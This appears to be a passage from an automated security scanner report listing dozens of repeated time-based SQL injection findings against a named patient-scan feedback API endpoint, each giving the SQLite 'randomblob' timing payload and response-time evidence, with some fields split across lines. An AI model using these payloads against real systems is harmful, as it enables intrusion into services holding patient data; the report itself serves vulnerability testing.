Other Info	<p>The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,787] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,909] milliseconds, when the original unmodified query with value [351] took [795] milliseconds.</p>
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	<p>case randomblob(100000) when not null then 1 else 1 end</p>
Evidence	<p>The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,876] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,888] milliseconds, when the original unmodified query with value [397] took [1,356] milliseconds.</p>
Other Info	<p>The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,876] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,888] milliseconds, when the original unmodified query with value [397] took [1,356] milliseconds.</p>
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	<p>case randomblob(100000) when not null then 1 else 1 end</p>
Evidence	<p>The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,903] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [4,386] milliseconds, when the original unmodified query with value [305] took [809] milliseconds.</p>
Other Info	<p>The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,903] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [4,386] milliseconds, when the original unmodified query with value [305] took [809] milliseconds.</p>
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	<p>case randomblob(100000) when not null then 1 else 1 end</p>
Evidence	<p>The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,910] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [3,391] milliseconds, when the original unmodified query with value [247] took [797] milliseconds.</p>
Other	<p>The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,910] milliseconds, parameter</p>

Info	value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [3,391] milliseconds, when the original unmodified query with value [247] took [797] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,989] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,120] milliseconds, when the original unmodified query with value [851] took [1,576] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,989] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,120] milliseconds, when the original unmodified query with value [851] took [1,576] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [2,011] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [3,255] milliseconds, when the original unmodified query with value [876] took [1,289] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [2,011] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [3,255] milliseconds, when the original unmodified query with value [876] took [1,289] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [2,033] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,158] milliseconds, when the original unmodified query with value [456] took [260] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [2,033] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,158] milliseconds, when the original unmodified query with value [456] took [260] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [2,062] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [3,518] milliseconds, when the original unmodified query with value [334] took [809] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [2,062] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [3,518] milliseconds, when the original unmodified query with value [334] took [809] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST

Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [2,197] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [3,006] milliseconds, when the original unmodified query with value [336] took [1,346] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [2,197] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [3,006] milliseconds, when the original unmodified query with value [336] took [1,346] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [2,201] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [4,459] milliseconds, when the original unmodified query with value [97] took [1,944] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [2,201] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [4,459] milliseconds, when the original unmodified query with value [97] took [1,944] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [2,260] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,895] milliseconds, when the original unmodified query with value [270] took [943] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [2,260] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,895] milliseconds, when the original unmodified query with value [270] took [943] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [2,268] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [3,978] milliseconds, when the original unmodified query with value [744] took [779] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [2,268] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [3,978] milliseconds, when the original unmodified query with value [744] took [779] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end

Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [2,270] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [3,588] milliseconds, when the original unmodified query with value [170] took [779] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [2,270] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [3,588] milliseconds, when the original unmodified query with value [170] took [779] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [2,291] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,465] milliseconds, when the original unmodified query with value [493] took [1,738] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [2,291] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,465] milliseconds, when the original unmodified query with value [493] took [1,738] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [2,315] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [3,789] milliseconds, when the original unmodified query with value [514] took [1,126] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [2,315] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [3,789] milliseconds, when the original unmodified query with value [514] took [1,126] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [2,366] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,584] milliseconds, when the original unmodified query with value [244] took [811] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [2,366] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,584] milliseconds, when the original unmodified query with value [244] took [811] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [2,377] milliseconds, parameter
Evidence	value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [4,706] milliseconds, when the original unmodified query with value [156] took [797] milliseconds.

Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [2,377] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [4,706] milliseconds, when the original unmodified query with value [156] took [797] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [2,405] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [5,533] milliseconds, when the original unmodified query with value [561] took [1,504] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [2,405] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [5,533] milliseconds, when the original unmodified query with value [561] took [1,504] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [2,477] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,725] milliseconds, when the original unmodified query with value [195] took [1,849] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [2,477] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,725] milliseconds, when the original unmodified query with value [195] took [1,849] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [2,506] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,711] milliseconds, when the original unmodified query with value [254] took [1,578] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [2,506] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,711] milliseconds, when the original unmodified query with value [254] took [1,578] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [2,777] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [6,220] milliseconds, when the original unmodified query with value [864] took [964] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [2,777] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [6,220] milliseconds, when the original unmodified query with value [864] took [964] milliseconds.

URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [2,789] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [3,216] milliseconds, when the original unmodified query with value [34] took [1,818] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [2,789] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [3,216] milliseconds, when the original unmodified query with value [34] took [1,818] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [2,812] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,964] milliseconds, when the original unmodified query with value [680.1882352941176] took [1,437] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [2,812] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,964] milliseconds, when the original unmodified query with value [680.1882352941176] took [1,437] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [2,903] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [5,785] milliseconds, when the original unmodified query with value [329] took [1,601] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [2,903] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [5,785] milliseconds, when the original unmodified query with value [329] took [1,601] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [258] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [262] milliseconds, when the original unmodified query with value [480] took [256] milliseconds.
Other	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [258] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the
Info	request to take [262] milliseconds, when the original unmodified query with value [480] took [256] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST

Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [3,017] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [3,269] milliseconds, when the original unmodified query with value [234] took [2,337] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [3,017] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [3,269] milliseconds, when the original unmodified query with value [234] took [2,337] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [3,233] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [7,564] milliseconds, when the original unmodified query with value [605] took [1,246] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [3,233] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [7,564] milliseconds, when the original unmodified query with value [605] took [1,246] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [3,382] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [4,230] milliseconds, when the original unmodified query with value [500] took [1,352] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [3,382] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [4,230] milliseconds, when the original unmodified query with value [500] took [1,352] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [3,793] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [5,987] milliseconds, when the original unmodified query with value [427] took [262] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [3,793] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [5,987] milliseconds, when the original unmodified query with value [427] took [262] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [4,132] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [4,202] milliseconds, when the original unmodified query with value [189] took [866] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [4,132] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [4,202] milliseconds, when the original unmodified query with value [189] took [866] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [4,165] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [4,644] milliseconds, when the original unmodified query with value [202] took [773] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [4,165] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [4,644] milliseconds, when the original unmodified query with value [202] took [773] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [4,277] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [7,110] milliseconds, when the original unmodified query with value [327] took [1,538] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [4,277] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [7,110] milliseconds, when the original unmodified query with value [327] took [1,538] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [4,306] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [4,426] milliseconds, when the original unmodified query with value [290] took [1,956] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [4,306] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [4,426] milliseconds, when the original unmodified query with value [290] took [1,956] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end

Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [4,949] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [6,886] milliseconds, when the original unmodified query with value [0] took [1,468] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [4,949] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [6,886] milliseconds, when the original unmodified query with value [0] took [1,468] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [550] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [784] milliseconds, when the original unmodified query with value [361] took [266] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [550] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [784] milliseconds, when the original unmodified query with value [361] took [266] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [765] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,228] milliseconds, when the original unmodified query with value [846] took [258] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [765] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,228] milliseconds, when the original unmodified query with value [846] took [258] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [775] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,329] milliseconds, when the original unmodified query with value [158] took [771] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [775] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,329] milliseconds, when the original unmodified query with value [158] took [771] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [795] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the

request to take [2,006] milliseconds, when the original unmodified query with value [688] took [786] milliseconds.

Other Info

The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [795] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,006] milliseconds, when the original unmodified query with value [688] took [786] milliseconds.

URL

https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method

POST

Attack

case randomblob(100000) when not null then 1 else 1 end

Evidence

The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [796] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [3,384] milliseconds, when the original unmodified query with value [725.9921568627451] took [256] milliseconds.

Other Info

The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [796] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [3,384] milliseconds, when the original unmodified query with value [725.9921568627451] took [256] milliseconds.

URL

https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method

POST

Attack

case randomblob(100000) when not null then 1 else 1 end

Evidence

The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [815] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,980] milliseconds, when the original unmodified query with value [861] took [764] milliseconds.

Other Info

The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [815] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,980] milliseconds, when the original unmodified query with value [861] took [764] milliseconds.

URL

https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method

POST

Attack

case randomblob(100000) when not null then 1 else 1 end

Evidence

The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [880] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,921] milliseconds, when the original unmodified query with value [727] took [534] milliseconds.

Other Info

The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [880] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,921] milliseconds, when the original unmodified query with value [727] took [534] milliseconds.

URL

https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method

POST

Attack

case randomblob(100000) when not null then 1 else 1 end

Evidence

The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [950] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,351] milliseconds, when the original unmodified query with value [295] took [873] milliseconds.

The query time is controllable using parameter value [case randomblob(100000) when not

Other Info	null then 1 else 1 end], which caused the request to take [950] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,351] milliseconds, when the original unmodified query with value [295] took [873] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,028] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,843] milliseconds, when the original unmodified query with value [380] took [2,230] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,028] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,843] milliseconds, when the original unmodified query with value [380] took [2,230] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,035] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [5,721] milliseconds, when the original unmodified query with value [431] took [927] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,035] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [5,721] milliseconds, when the original unmodified query with value [431] took [927] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,047] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,370] milliseconds, when the original unmodified query with value [1472] took [1,247] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,047] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,370] milliseconds, when the original unmodified query with value [1472] took [1,247] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,087] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,322] milliseconds, when the original unmodified query with value [307] took [2,815] milliseconds.
Other	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,087] milliseconds, parameter

Info	value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,322] milliseconds, when the original unmodified query with value [307] took [2,815] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,139] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,585] milliseconds, when the original unmodified query with value [226] took [2,020] milliseconds.
